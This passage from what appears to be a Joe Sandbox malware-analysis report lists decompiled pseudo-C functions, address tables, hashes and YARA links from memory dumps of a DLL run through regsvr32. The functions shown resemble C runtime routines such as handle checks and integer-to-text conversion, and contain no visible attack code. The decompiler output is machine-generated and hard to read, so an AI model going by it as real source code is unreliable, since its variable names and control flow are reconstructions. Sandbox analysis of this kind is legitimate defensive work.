						_t72 =  *((intOrPtr*)(0x100b8b20 + _t85 * 8));
						__eflags =  *(_t72 + _t81 + 8) & 0x00000001;
						if(( *(_t72 + _t81 + 8) & 0x00000001) != 0) {
							E1003D3E0(_t30, __ebx, _t64, __ecx, _t81, _t85, 0x100b8b20, _t91);
							_t73 =  *((intOrPtr*)(0x100b8b20 + _t85 * 8));
							__eflags =  *(_t73 + _t81 + 8) & 0x00000001;
							if(__eflags == 0) {
								E10032420(_t73);
								 *_t73 = 9;
								E10032450(_t73);
								__eflags = 0;
								 *_t73 = 0;
								_t66 = 0xffffffff;
								_v24 = 0xffffffff;
							} else {
								_t19 = _t78 + 1; // 0x1
								r8d = _t19;
								_t38 = E1003D760(_t46, _t46, 0, __eflags, _t73, _t75, _t81, _t85, _t86, _t87);
								_t69 = _t38;
								__eflags = _t38 - 0xffffffff;
								if(__eflags != 0) {
									_t21 = _t78 + 2; // 0x2
									r8d = _t21;
									_t39 = E1003D760(_t46, _t46, 0, __eflags, _t73, _t75, _t81, _t85, _t86, _t87);
									_t66 = _t39;
									_v24 = _t39;
									__eflags = _t69 - _t39;
									if(__eflags != 0) {
										r8d = 0;
										E1003D760(_t46, _t46, _t69, __eflags, _t73, _t75, _t81, _t85, _t86, _t87);
									}
								} else {
									_t66 = _t38;
									_v24 = _t38;
								}
							}
							E1003D4C0();
							_t34 = _t66;
						} else {
							E10032450(_t72);
							 *_t72 = 0;
							E10032420(_t72);
							 *_t72 = 9;
							_v40 = _t81;
							r9d = 0;
							r8d = 0;
							E10034370(__ecx, _t77, __rdx, _t81, _t85, _t86, _t87);
							_t12 = _t81 - 1; // -1
							_t34 = _t12;
						}
						goto L14;
					}
				} else {
					E10032450(__rax);
					 *__rax = 0;
					E10032420(__rax);
					 *__rax = 9;
					_t34 = __ecx + 1;
					L14:
					return _t34;
				}
			}

0x10031a60
0x10031a60
0x10031a60
0x10031a60
0x10031a60
0x10031a60
0x10031a68
0x10031a6d
0x10031a72
0x10031a77
0x10031a7c
0x10031a82
0x10031aa0
0x10031aa2
0x10031b85
0x10031b85
0x10031b8c
0x10031b8e
0x10031b93
0x10031b99
0x10031b9e
0x10031ba1
0x10031ba6
0x10031ba8
0x10031bad
0x10031bad
0x00000000
0x10031bad
0x10031aa8
0x10031aae
0x00000000
0x10031ab4
0x10031ab7
0x10031ac2
0x10031ac5
0x10031ac8
0x10031acc
0x10031ad4
0x10031ad7
0x10031b0b
0x10031b11
0x10031b15
0x10031b1a
0x10031b5d
0x10031b62
0x10031b68
0x10031b6d
0x10031b6f
0x10031b71
0x10031b76
0x10031b1c
0x10031b1e
0x10031b1e
0x10031b24
0x10031b29
0x10031b2b
0x10031b2e
0x10031b3a
0x10031b3a
0x10031b40
0x10031b45
0x10031b47
0x10031b4b
0x10031b4d
0x10031b4f
0x10031b56
0x10031b56
0x10031b30
0x10031b30
0x10031b32
0x10031b32
0x10031b2e
0x10031b7c
0x10031b81
0x10031ad9
0x10031ad9
0x10031ae0
0x10031ae2
0x10031ae7
0x10031aed
0x10031af2
0x10031af5
0x10031afc
0x10031b01
0x10031b01
0x10031b01
0x00000000
0x10031ad7
0x10031a84
0x10031a84
0x10031a8b
0x10031a8d
0x10031a92
0x10031a98
0x10031bb0
0x10031bc8
0x10031bc8

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee64c4e9d5fb3dac375891f0d82f98301ede4be433ffc0535348a0a9861ca0c4
Instruction ID: 2484f1b53dc4d35f8afd6310b62831583eca0bd300a29fa88c30dbc547f9744b
Opcode Fuzzy Hash: ee64c4e9d5fb3dac375891f0d82f98301ede4be433ffc0535348a0a9861ca0c4
Instruction Fuzzy Hash: B631F23A6143808FC316DF36A98164EB7B6F7C8791F655226EE954BB95DB38E801CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001D5B0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9726d11b9d0f28050b18c58b60e7a26fad1456da9debf9f1d6b993d04c1af724
Instruction ID: c5d92caa999de21bb46b2157a8cdeeccf169bf579d50672177c6c9506f663ff9
Opcode Fuzzy Hash: 9726d11b9d0f28050b18c58b60e7a26fad1456da9debf9f1d6b993d04c1af724
Instruction Fuzzy Hash: D0410C7090070D8BDF48DF68C48A1DDBFB0FB487A8F55561DE81AAA390C7B49585CF89

Uniqueness

Uniqueness Score: -1.00%

Function 1002EA00 Relevance: .1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E1002EA00(void* __esi, long long __rbx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, long long __r12, long long __r13, intOrPtr* _a40, intOrPtr* _a48, signed long long _a56) {
				long long _v8;
				long long _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				intOrPtr _t47;
				void* _t53;
				intOrPtr _t54;
				void* _t56;
				void* _t57;
				intOrPtr* _t85;
				signed long long _t90;
				long long _t91;
				signed long long _t95;
				void* _t99;
				void* _t100;
				intOrPtr* _t101;
				intOrPtr* _t102;
				void* _t104;
				signed long long _t107;
				void* _t109;
				void* _t110;

				_t99 = __r8;
				_t91 = __rdi;
				_t56 = __esi;
				_v8 = __rbx;
				_v16 = __rbp;
				_v24 = __rsi;
				_t95 =  *((intOrPtr*)(__rdx + 0xc));
				_v32 = __rdi;
				_v40 = __r12;
				_t104 = __rdx;
				_v48 = __r13;
				_t107 = _a56;
				_t90 = _t107;
				_t57 = r9d;
				_t53 = E10035A50(__rbx, __rdx, _t90, __rdi, _t95, __rbp);
				if(__esi == 0) {
					E10037BD0(_t75, _t90, _t100, _t107, _t109, _t110);
				}
				_t102 = _a48;
				_t101 = _a40;
				 *_t102 = 0xffffffff;
				 *_t101 = 0xffffffff;
				r8d = _t56;
				if(_t56 == 0) {
					L7:
					if(r8d != 0) {
						_t90 = _t75 + _t75 * 4;
						_t75 =  *((intOrPtr*)(_t104 + 0x10));
						_t91 =  *((intOrPtr*)(_t104 + 0x10)) + _t90 * 4 +  *((intOrPtr*)(_t107 + 8));
					}
					_t54 = 0;
					if(_t56 == 0) {
						L22:
						 *_t101 = 0;
						_t47 = 0;
						 *_t102 = 0;
						goto L23;
					} else {
						r8d = 0;
						do {
							_t85 =  *((intOrPtr*)(_t104 + 0x10)) +  *((intOrPtr*)(_t107 + 8)) + _t99;
							if(_t91 == 0 ||  *_t85 >  *((intOrPtr*)(_t91 + 4)) &&  *((intOrPtr*)(_t85 + 4)) <=  *((intOrPtr*)(_t91 + 8))) {
								if(_t57 >=  *_t85 && _t57 <=  *((intOrPtr*)(_t85 + 4))) {
									if( *_t101 == 0xffffffff) {
										 *_t101 = _t54;
									}
									_t34 = _t90 + 1; // 0x1
									 *_t102 = _t34;
								}
							}
							_t54 = _t54 + 1;
							_t99 = _t99 + 0x14;
						} while (_t54 < _t56);
						_t47 =  *_t101;
						if(_t47 == 0xffffffff) {
							goto L22;
						}
						L23:
						return _t47;
					}
				} else {
					_t75 =  *((intOrPtr*)(_t107 + 8));
					_t90 =  *((intOrPtr*)(_t104 + 0x10)) + (_t95 + _t95 * 4) * 4 + _t75 - 0xc;
					while(_t53 <=  *((intOrPtr*)(_t90 - 4)) || _t53 >  *_t90) {
						_t90 = _t90 - 0x14;
						r8d = r8d + 0xffffffff;
						if(r8d != 0) {
							continue;
						}
						goto L7;
					}
					goto L7;
				}
			}

0x1002ea00
0x1002ea00
0x1002ea00
0x1002ea04
0x1002ea09
0x1002ea0e
0x1002ea13
0x1002ea17
0x1002ea1c
0x1002ea21
0x1002ea24
0x1002ea29
0x1002ea34
0x1002ea37
0x1002ea43
0x1002ea45
0x1002ea47
0x1002ea47
0x1002ea4e
0x1002ea56
0x1002ea5e
0x1002ea65
0x1002ea6c
0x1002ea6f
0x1002ea9a
0x1002eaa2
0x1002eaa8
0x1002eaac
0x1002eab5
0x1002eab5
0x1002eab9
0x1002eabd
0x1002eb2e
0x1002eb2e
0x1002eb35
0x1002eb37
0x00000000
0x1002eabf
0x1002eabf
0x1002ead0
0x1002ead9
0x1002eadf
0x1002eaf2
0x1002eafd
0x1002eaff
0x1002eaff
0x1002eb02
0x1002eb05
0x1002eb05
0x1002eaf2
0x1002eb08
0x1002eb0b
0x1002eb0f
0x1002eb13
0x1002eb19
0x00000000
0x00000000
0x1002eb3e
0x1002eb5b
0x1002eb5b
0x1002ea71
0x1002ea7e
0x1002ea82
0x1002ea87
0x1002ea90
0x1002ea94
0x1002ea98
0x00000000
0x00000000
0x00000000
0x1002ea98
0x00000000
0x1002ea87

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dc8b3e8c4711cd15421dc26719847094c7fb83a93f0e457f2d336f69f84091a
Instruction ID: b69862aadad3411dc516dc152d8731eb04a82dc684b4ad6b104ad899f1567b4c
Opcode Fuzzy Hash: 9dc8b3e8c4711cd15421dc26719847094c7fb83a93f0e457f2d336f69f84091a
Instruction Fuzzy Hash: E441AD77600BD5C6CB21CF18E48461EBBB5F785B94F928202DBAA43B54DB35E951CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1004DCD0 Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E1004DCD0(signed int __ecx, intOrPtr* __rax, void* __rcx, signed char* __rdx, void* __rdi, void* __rsi, void* __rbp, void* __r8, void* __r9) {
				long long _v24;
				void* __rbx;
				signed int _t14;
				signed int _t15;
				signed int _t21;
				signed int _t25;
				signed int _t29;
				char _t30;
				long long _t36;
				char* _t43;
				signed char* _t44;
				signed char* _t46;
				void* _t47;

				_t45 = __r9;
				_t42 = __r8;
				_t41 = __rbp;
				_t40 = __rsi;
				_t39 = __rdi;
				_t38 = __rdx;
				_t37 = __rcx;
				_t35 = __rax;
				_t47 = __r8;
				_t46 = __rdx;
				_t21 = __ecx;
				if(r9d != 0xa || __ecx >= 0) {
					if(_t38 != 0) {
						if(_t42 == 0) {
							goto L4;
						} else {
							 *_t38 = 0;
							if(_t42 > 1) {
								_t4 = _t45 - 2; // 0x13e
								if(_t4 > 0x22) {
									goto L4;
								} else {
									_t43 = _t38;
									while(1) {
										_t14 = _t21;
										_t15 = _t14 / r9d;
										_t29 = _t14 % r9d;
										_t21 = _t15;
										if(_t29 <= 9) {
											_t30 = _t29 + 0x30;
										} else {
											_t30 = _t29 + 0x57;
										}
										 *_t43 = _t30;
										_t43 = _t43 + 1;
										_t37 = _t37 + 1;
										if(_t15 == 0) {
											break;
										}
										if(_t37 < _t47) {
											continue;
										} else {
											L17:
											 *_t46 = 0;
											if(_t37 >= _t47) {
												goto L7;
											} else {
												L18:
												 *_t43 = 0;
												_t44 = _t43 - 1;
												do {
													_t25 =  *_t46 & 0x000000ff;
													_t46 =  &(_t46[1]);
													 *_t44 = _t25;
													 *((char*)(_t46 - 1)) =  *_t44 & 0x000000ff;
													_t44 = _t44 - 1;
												} while (_t46 < _t44);
												return 0;
											}
										}
										goto L21;
									}
									if(_t37 < _t47) {
										goto L18;
									} else {
										goto L17;
									}
								}
							} else {
								L7:
								E10032420(_t35);
								r9d = 0;
								r8d = 0;
								_v24 = 0;
								 *_t35 = 0x22;
								E10034370(_t36, _t37, _t38, _t39, _t40, _t41, _t43);
								return 0x22;
							}
						}
					} else {
						L4:
						E10032420(_t35);
						r9d = 0;
						r8d = 0;
						_v24 = 0;
						 *_t35 = 0x16;
						E10034370(_t36, _t37, _t38, _t39, _t40, _t41, _t42);
						return 0x16;
					}
				} else {
					_v24 = 1;
					return E1004DB80(__ecx, __rax, _t36, __rcx, __rdx, __rdi, __rsi, __rbp, __r8, __r9);
				}
				L21:
			}

0x1004dcd0
0x1004dcd0
0x1004dcd0
0x1004dcd0
0x1004dcd0
0x1004dcd0
0x1004dcd0
0x1004dcd0
0x1004dcda
0x1004dcdd
0x1004dce0
0x1004dce2
0x1004dcfe
0x1004dd31
0x00000000
0x1004dd33
0x1004dd37
0x1004dd3a
0x1004dd6a
0x1004dd71
0x00000000
0x1004dd73
0x1004dd75
0x1004dd80
0x1004dd82
0x1004dd84
0x1004dd84
0x1004dd8a
0x1004dd8c
0x1004dd93
0x1004dd8e
0x1004dd8e
0x1004dd8e
0x1004dd96
0x1004dd99
0x1004dd9d
0x1004dda3
0x00000000
0x00000000
0x1004dda8
0x00000000
0x1004ddaa
0x1004ddb1
0x1004ddb4
0x1004ddb8
0x00000000
0x1004ddba
0x1004ddba
0x1004ddba
0x1004ddbe
0x1004ddd0
0x1004ddd0
0x1004ddd8
0x1004dddc
0x1004dddf
0x1004dde3
0x1004dde7
0x1004ddf3
0x1004ddf3
0x1004ddb8
0x00000000
0x1004dda8
0x1004ddaf
0x00000000
0x00000000
0x00000000
0x00000000
0x1004ddaf
0x1004dd3c
0x1004dd3c
0x1004dd3c
0x1004dd41
0x1004dd44
0x1004dd4b
0x1004dd54
0x1004dd5a
0x1004dd69
0x1004dd69
0x1004dd3a
0x1004dd00
0x1004dd00
0x1004dd00
0x1004dd05
0x1004dd08
0x1004dd0f
0x1004dd18
0x1004dd1e
0x1004dd2d
0x1004dd2d
0x1004dce8
0x1004dce8
0x1004dcfa
0x1004dcfa
0x00000000

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27957b98ee0416bc933808a413cd9e36e950164fc903fc75849b77812927abe1
Instruction ID: d3c5c20d9472e35aa03336b4822c9655862f1e8958d6cbcc3bd48882b73ec251
Opcode Fuzzy Hash: 27957b98ee0416bc933808a413cd9e36e950164fc903fc75849b77812927abe1
Instruction Fuzzy Hash: 95216AB7F042C086EF56E778A02176E7A81D7A2384F229037DE81CB742D7AE8585871D

Uniqueness

Uniqueness Score: -1.00%

Function 1003E540 Relevance: .1, Instructions: 90
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 82%

			E1003E540(signed int __ebx, signed int __ecx, long long __rbx, void* __rcx, signed int __rdx, signed int __rdi, long long __rsi, long long __rbp, signed short* __r8, signed int* __r9, long long __r12, long long __r13, long long __r14, long long __r15, signed int _a8, void* _a32) {
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				signed long long _v72;
				void* _t29;
				void* _t33;
				signed int _t43;
				signed int _t52;
				signed int _t55;
				signed int _t57;
				void* _t59;
				intOrPtr* _t63;
				intOrPtr* _t64;
				intOrPtr* _t65;
				signed long long _t74;
				signed long long _t78;
				intOrPtr* _t80;

				_t83 = __r12;
				_t81 = __r8;
				_t79 = __rbp;
				_t75 = __rsi;
				_t72 = __rdi;
				_t70 = __rdx;
				_t69 = __rcx;
				_t43 = __ebx;
				_a8 = __ecx;
				_t63 = _t80;
				 *((long long*)(_t63 + 0x20)) = __rbx;
				 *((long long*)(_t63 - 8)) = __rsi;
				 *((long long*)(_t63 - 0x10)) = __rdi;
				 *((long long*)(_t63 - 0x18)) = __r12;
				 *((long long*)(_t63 - 0x20)) = __r13;
				 *((long long*)(_t63 - 0x28)) = __r14;
				r12d = r8d;
				_t67 = __ecx;
				if(__ebx != 0xfffffffe) {
					__eflags = __ecx;
					if(__ecx < 0) {
						L10:
						E10032450(_t63);
						 *_t63 = 0;
						E10032420(_t63);
						 *_t63 = 9;
						_v72 = _t72;
						r9d = 0;
						r8d = 0;
						__eflags = 0;
						E10034370(_t67, _t69, _t70, _t72, _t75, _t79, _t81);
						_t22 = _t72 - 1; // -1
						_t33 = _t22;
						L11:
						return _t33;
					}
					__eflags = _t43 -  *0x100b8b10; // 0x20
					if(__eflags >= 0) {
						goto L10;
					}
					_t78 = __ecx >> 5;
					dil = __ebx;
					_t57 = _t55 & 0x0000001f;
					_t74 = __rdi << 6;
					_t64 =  *((intOrPtr*)(0x100b8b20 + _t78 * 8));
					__eflags =  *(_t64 + _t74 + 8) & 0x00000001;
					if(( *(_t64 + _t74 + 8) & 0x00000001) != 0) {
						E1003D3E0(_t29, __ebx, _t57, __ecx, _t74, _t78, __r12, __rdx);
						_t65 =  *((intOrPtr*)(0x100b8b20 + _t78 * 8));
						__eflags =  *(_t65 + _t74 + 8) & 0x00000001;
						if(( *(_t65 + _t74 + 8) & 0x00000001) == 0) {
							E10032420(_t65);
							 *_t65 = 9;
							E10032450(_t65);
							__eflags = 0;
							 *_t65 = 0;
							_t59 = 0xffffffff;
						} else {
							r8d = r12d;
							_t59 = E1003DD80(_t43, _t43, _t52, _t67, __rdx, _t74, _t78, __rbp, __r8, __r9, _t83, __rdx, 0x100b8b20, __r15);
						}
						E1003D4C0();
						_t33 = _t59;
					} else {
						E10032450(_t64);
						 *_t64 = 0;
						E10032420(_t64);
						 *_t64 = 9;
						_v72 = _t74;
						r9d = 0;
						r8d = 0;
						E10034370(__ecx, __rcx, __rdx, _t74, _t78, __rbp, __r8);
						_t14 = _t74 - 1; // -1
						_t33 = _t14;
					}
					goto L11;
				}
				E10032450(_t63);
				 *_t63 = 0;
				E10032420(_t63);
				 *_t63 = 9;
				_t33 = __ecx + 1;
				goto L11;
			}

0x1003e540
0x1003e540
0x1003e540
0x1003e540
0x1003e540
0x1003e540
0x1003e540
0x1003e540
0x1003e540
0x1003e544
0x1003e54b
0x1003e54f
0x1003e553
0x1003e557
0x1003e55b
0x1003e55f
0x1003e563
0x1003e569
0x1003e56f
0x1003e58d
0x1003e58f
0x1003e63b
0x1003e63b
0x1003e642
0x1003e644
0x1003e649
0x1003e64f
0x1003e654
0x1003e657
0x1003e65c
0x1003e65e
0x1003e663
0x1003e663
0x1003e666
0x1003e68b
0x1003e68b
0x1003e595
0x1003e59b
0x00000000
0x00000000
0x1003e5a4
0x1003e5af
0x1003e5b2
0x1003e5b5
0x1003e5b9
0x1003e5c1
0x1003e5c4
0x1003e5f5
0x1003e5fb
0x1003e5ff
0x1003e604
0x1003e617
0x1003e61c
0x1003e622
0x1003e627
0x1003e629
0x1003e62b
0x1003e606
0x1003e606
0x1003e613
0x1003e613
0x1003e632
0x1003e637
0x1003e5c6
0x1003e5c6
0x1003e5cd
0x1003e5cf
0x1003e5d4
0x1003e5da
0x1003e5df
0x1003e5e2
0x1003e5e9
0x1003e5ee
0x1003e5ee
0x1003e5ee
0x00000000
0x1003e5c4
0x1003e571
0x1003e578
0x1003e57a
0x1003e57f
0x1003e585
0x00000000

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db809cc7074ddf5e29a19b3a9590195bc77c293322735e90d2692a4156d2f358
Instruction ID: 4fc3107f76135ecb0f79d599513c36a34aa0ca2fe84e64ac12545492f1b28d16
Opcode Fuzzy Hash: db809cc7074ddf5e29a19b3a9590195bc77c293322735e90d2692a4156d2f358
Instruction Fuzzy Hash: 5131E43A3107808AD312DF26B94270EB7A5F7D5B95F615215EF884B795CB78E802CB00

Uniqueness

Uniqueness Score: -1.00%

Function 10031730 Relevance: .1, Instructions: 90
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E10031730(intOrPtr* __rax, long long __rbx, signed char* __rcx, signed char* __rdx, long long __rdi, long long __rsi, long long __r12, long long _a8, long long _a16, long long _a24, long long _a32) {
				long long _v16;
				long long _v24;
				long long _v40;
				signed int _t28;
				void* _t29;
				long long _t50;
				void* _t66;
				long long _t67;
				void* _t68;
				long long _t72;
				long long _t73;

				_t70 = __r12;
				_t47 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_a32 = __r12;
				_v16 = _t67;
				r12d = r8d;
				_t60 = __rdx;
				if((0 | __rcx != 0x00000000) != 0) {
					if((0 | __rdx != 0x00000000) != 0) {
						if((0 |  *((intOrPtr*)(__rdx)) != 0x00000000) != 0) {
							E1003C950(__rbx, __rcx, __rdx, __rcx, _t66, _t68, __r12);
							_t50 = _t47;
							_v24 = _t47;
							if(_t47 != 0) {
								if( *((char*)(__rcx)) != 0) {
									r8d = r12d;
									_t28 = E1003C5D0(_t47, _t50, __rcx, _t60, _t60, __rcx, _t47, _t70, _t72, _t73);
									E1003C560();
								} else {
									_t29 = E10032420(_t47);
									 *_t47 = 0x16;
									_t28 = E1003CAF0(_t29) ^ _t30;
								}
							} else {
								E10032420(_t47);
								 *_t47 = 0x18;
								_t28 = 0;
							}
						} else {
							E10032420(__rax);
							 *__rax = 0x16;
							_v40 = __rbx;
							r9d = 0;
							r8d = 0;
							E10034370(__rbx, __rcx, __rdx, __rdx, __rcx, _t66, _t68);
							_t28 = 0;
						}
					} else {
						E10032420(__rax);
						 *__rax = 0x16;
						_v40 = __rbx;
						r9d = 0;
						r8d = 0;
						E10034370(__rbx, __rcx, __rdx, __rdx, __rcx, _t66, _t68);
						_t28 = 0;
					}
				} else {
					E10032420(__rax);
					 *__rax = 0x16;
					_v40 = __rbx;
					r9d = 0;
					r8d = 0;
					E10034370(__rbx, __rcx, __rdx, __rdx, __rcx, _t66, _t68);
					_t28 = 0;
				}
				return _t28;
			}

0x10031730
0x10031730
0x10031734
0x10031739
0x1003173e
0x10031743
0x10031748
0x1003174d
0x10031750
0x10031762
0x10031794
0x100317c5
0x100317ea
0x100317ef
0x100317f2
0x100317fa
0x1003180e
0x10031835
0x1003183e
0x10031849
0x10031810
0x10031810
0x10031815
0x1003182e
0x1003182e
0x100317fc
0x100317fc
0x10031801
0x10031807
0x10031807
0x100317c7
0x100317c7
0x100317cc
0x100317d2
0x100317d7
0x100317da
0x100317e1
0x100317e6
0x100317e6
0x10031796
0x10031796
0x1003179b
0x100317a1
0x100317a6
0x100317a9
0x100317b0
0x100317b5
0x100317b5
0x10031764
0x10031764
0x10031769
0x1003176f
0x10031774
0x10031777
0x1003177e
0x10031783
0x10031783
0x10031869

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4798e12a4287dcb4d9eb57af34c3c2c420ef4b70b4e6423cfb70cf86220165a1
Instruction ID: 518802552b910afa3acb60f2b07b5f89b8182b99c43a09cad53354cccf28c5b1
Opcode Fuzzy Hash: 4798e12a4287dcb4d9eb57af34c3c2c420ef4b70b4e6423cfb70cf86220165a1
Instruction Fuzzy Hash: 4231A4363147868AD713CF72A80274FA6A6F7887C5F456428BE858FB09DF3CD4108B04

Uniqueness

Uniqueness Score: -1.00%

Function 10044730 Relevance: .1, Instructions: 90
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 79%

			E10044730(void* __ebx, signed int __ecx, long long __rbx, void* __rcx, void* __rdx, signed int __rdi, long long __rsi, void* __rbp, void* __r8, long long __r12, long long __r13, long long __r14, signed int _a8, void* _a32) {
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				signed long long _v72;
				void* _t29;
				void* _t32;
				void* _t38;
				void* _t47;
				signed int _t50;
				signed int _t52;
				intOrPtr* _t57;
				intOrPtr* _t59;
				intOrPtr* _t60;
				signed long long _t72;
				signed long long _t77;
				intOrPtr* _t79;

				_t80 = __r8;
				_t78 = __rbp;
				_t74 = __rsi;
				_t70 = __rdi;
				_t68 = __rdx;
				_t67 = __rcx;
				_t38 = __ebx;
				_a8 = __ecx;
				_t57 = _t79;
				 *((long long*)(_t57 + 0x20)) = __rbx;
				 *((long long*)(_t57 - 8)) = __rsi;
				 *((long long*)(_t57 - 0x10)) = __rdi;
				 *((long long*)(_t57 - 0x18)) = __r12;
				 *((long long*)(_t57 - 0x20)) = __r13;
				 *((long long*)(_t57 - 0x28)) = __r14;
				r12d = r8d;
				_t65 = __ecx;
				if(__ebx != 0xfffffffe) {
					__eflags = __ecx;
					if(__ecx < 0) {
						L10:
						E10032450(_t57);
						 *_t57 = 0;
						E10032420(_t57);
						 *_t57 = 9;
						_v72 = _t70;
						r9d = 0;
						r8d = 0;
						__eflags = 0;
						_t32 = E10034370(_t65, _t67, _t68, _t70, _t74, _t78, _t80);
						L11:
						return _t32;
					}
					__eflags = _t38 -  *0x100b8b10; // 0x20
					if(__eflags >= 0) {
						goto L10;
					}
					_t77 = __ecx >> 5;
					dil = __ebx;
					_t52 = _t50 & 0x0000001f;
					_t72 = __rdi << 6;
					_t59 =  *((intOrPtr*)(0x100b8b20 + _t77 * 8));
					__eflags =  *(_t59 + _t72 + 8) & 0x00000001;
					if(( *(_t59 + _t72 + 8) & 0x00000001) != 0) {
						E1003D3E0(_t29, __ebx, _t52, __ecx, _t72, _t77, __r12, __rdx);
						_t60 =  *((intOrPtr*)(0x100b8b20 + _t77 * 8));
						__eflags =  *(_t60 + _t72 + 8) & 0x00000001;
						if(__eflags == 0) {
							E10032420(_t60);
							 *_t60 = 9;
							_t32 = E10032450(_t60);
							__eflags = 0;
							 *_t60 = 0;
						} else {
							r8d = r12d;
							_t32 = E10044670(_t38, _t38, _t47, __eflags, _t60, _t65, __rdx, _t72, _t77, __rbp, __r8);
						}
						E1003D4C0();
					} else {
						E10032450(_t59);
						 *_t59 = 0;
						E10032420(_t59);
						 *_t59 = 9;
						_v72 = _t72;
						r9d = 0;
						r8d = 0;
						_t32 = E10034370(__ecx, __rcx, __rdx, _t72, _t77, __rbp, __r8);
					}
					goto L11;
				}
				E10032450(_t57);
				 *_t57 = 0;
				_t32 = E10032420(_t57);
				 *_t57 = 9;
				goto L11;
			}

0x10044730
0x10044730
0x10044730
0x10044730
0x10044730
0x10044730
0x10044730
0x10044730
0x10044734
0x1004473b
0x1004473f
0x10044743
0x10044747
0x1004474b
0x1004474f
0x10044753
0x10044759
0x1004475f
0x1004477e
0x10044780
0x10044831
0x10044831
0x10044838
0x1004483a
0x1004483f
0x10044845
0x1004484a
0x1004484d
0x10044852
0x10044854
0x1004485d
0x10044882
0x10044882
0x10044786
0x1004478c
0x00000000
0x00000000
0x10044795
0x100447a0
0x100447a3
0x100447a6
0x100447aa
0x100447b2
0x100447b5
0x100447e7
0x100447ed
0x100447f1
0x100447f6
0x1004480a
0x1004480f
0x10044815
0x1004481a
0x1004481c
0x100447f8
0x100447f8
0x10044800
0x10044805
0x10044827
0x100447b7
0x100447b7
0x100447be
0x100447c0
0x100447c5
0x100447cb
